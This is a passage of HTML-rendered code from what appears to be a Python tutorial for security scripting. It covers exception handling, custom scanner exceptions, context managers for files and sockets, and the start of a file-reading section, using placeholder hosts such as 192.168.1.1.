&lt;span class="nf"&gt;except &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;ConnectionRefusedError&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;OSError&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Connection failed: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.3 Common Exceptions in Security Scripts
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Network errors
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://target.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;raise_for_status&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;        &lt;span class="c1"&gt;# Raises HTTPError for 4xx/5xx
&lt;/span&gt;&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Timeout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Request timed out&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;ConnectionError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Cannot connect — host down or port closed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HTTPError&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HTTP error: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RequestException&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Request failed: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# File errors
&lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;targets.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;targets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readlines&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;FileNotFoundError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;targets.txt not found&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;targets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;PermissionError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;No permission to read targets.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;targets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

&lt;span class="c1"&gt;# Type and value errors
&lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;65535&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Port &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; out of valid range&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;ValueError&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Invalid port: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.4 Raising Exceptions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;validate_ip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Validate IP address format.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;parts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Invalid IP: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;part&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;part&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isdigit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;part&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Invalid IP octet: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;part&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; in &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;

&lt;span class="c1"&gt;# Custom exceptions — for complex tools
&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ScanError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Base exception for scanner errors.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TargetUnreachable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ScanError&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Target host is not responding.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AuthenticationFailed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ScanError&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Authentication to target failed.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="c1"&gt;# Using custom exceptions
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;connect_to_service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;ping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;TargetUnreachable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Host &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; is not responding&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;authenticate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;AuthenticationFailed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Invalid credentials for &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;connect_to_service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;root&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;TargetUnreachable&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Cannot reach target: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;AuthenticationFailed&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Auth failed: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.5 Context Managers — The Pythonic Way
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# "with" statement ensures resources are properly released even on error
# This is the correct way to handle files and network connections
&lt;/span&gt;
&lt;span class="c1"&gt;# File handling with context manager
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;output.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;scan results&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# File is automatically closed when block exits, even if exception occurs
&lt;/span&gt;
&lt;span class="c1"&gt;# Socket with context manager
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;settimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET / HTTP/1.0&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4096&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Socket automatically closed
&lt;/span&gt;
&lt;span class="c1"&gt;# Custom context manager
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;contextlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;contextmanager&lt;/span&gt;

&lt;span class="nd"&gt;@contextmanager&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;timed_scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Starting scan of &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;yield&lt;/span&gt;
    &lt;span class="k"&gt;finally&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;elapsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Scan of &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; completed in &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;elapsed&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;s&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;timed_scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;perform_scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. File Read and Write
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 Reading Files
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Reading entire file
